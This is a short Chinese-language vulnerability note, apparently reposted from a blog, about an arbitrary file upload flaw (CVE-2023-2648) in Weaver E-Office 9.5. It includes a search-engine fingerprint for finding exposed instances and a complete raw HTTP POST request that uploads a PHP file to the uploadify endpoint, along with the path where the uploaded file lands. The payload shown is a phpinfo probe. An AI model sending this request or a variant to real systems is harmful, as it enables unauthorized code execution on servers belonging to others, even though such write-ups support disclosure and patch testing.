登录 白背景

泛微E-Office uploadify存在任意文件上传漏洞(CVE-2023-2648)

一、漏洞简介

泛微 E-Office是中国泛微科技(Weaver)公司的一个协同办公系统。泛微 E-Office 9.5版本存在代码问题漏洞,该漏洞源于文件/inc/jquery/uploadify/uploadify.php存在问题,对参数Filedata的操作会导致不受限制的上传。

二、影响版本

  • 泛微 E-Office 9.5

三、资产测绘

  • hunterapp.name="泛微 e-office OA"
  • 特征

image.png

四、漏洞复现

POST /inc/jquery/uploadify/uploadify.php HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: test
Connection: close
Content-Length: 491
Accept-Encoding: gzip
Content-Type: multipart/form-data; boundary=25d6580ccbac7409f39b085b3194765e6e5adaa999d5cc85028bd0ae4b85

--25d6580ccbac7409f39b085b3194765e6e5adaa999d5cc85028bd0ae4b85
Content-Disposition: form-data; name="Filedata"; filename="666.php"
Content-Type: application/octet-stream

<?php phpinfo();?>

--25d6580ccbac7409f39b085b3194765e6e5adaa999d5cc85028bd0ae4b85--
--25d6580ccbac7409f39b085b3194765e6e5adaa999d5cc85028bd0ae4b85
Content-Disposition: form-data; name="file"; filename=""
Content-Type: application/octet-stream

--25d6580ccbac7409f39b085b3194765e6e5adaa999d5cc85028bd0ae4b85--

image.png
根据回显拼接得到上传文件位置

/attachment/1031311196/666.php

image.png

原文: https://www.yuque.com/xiaokp7/ocvun2/ny1gtlrpgdxuot8b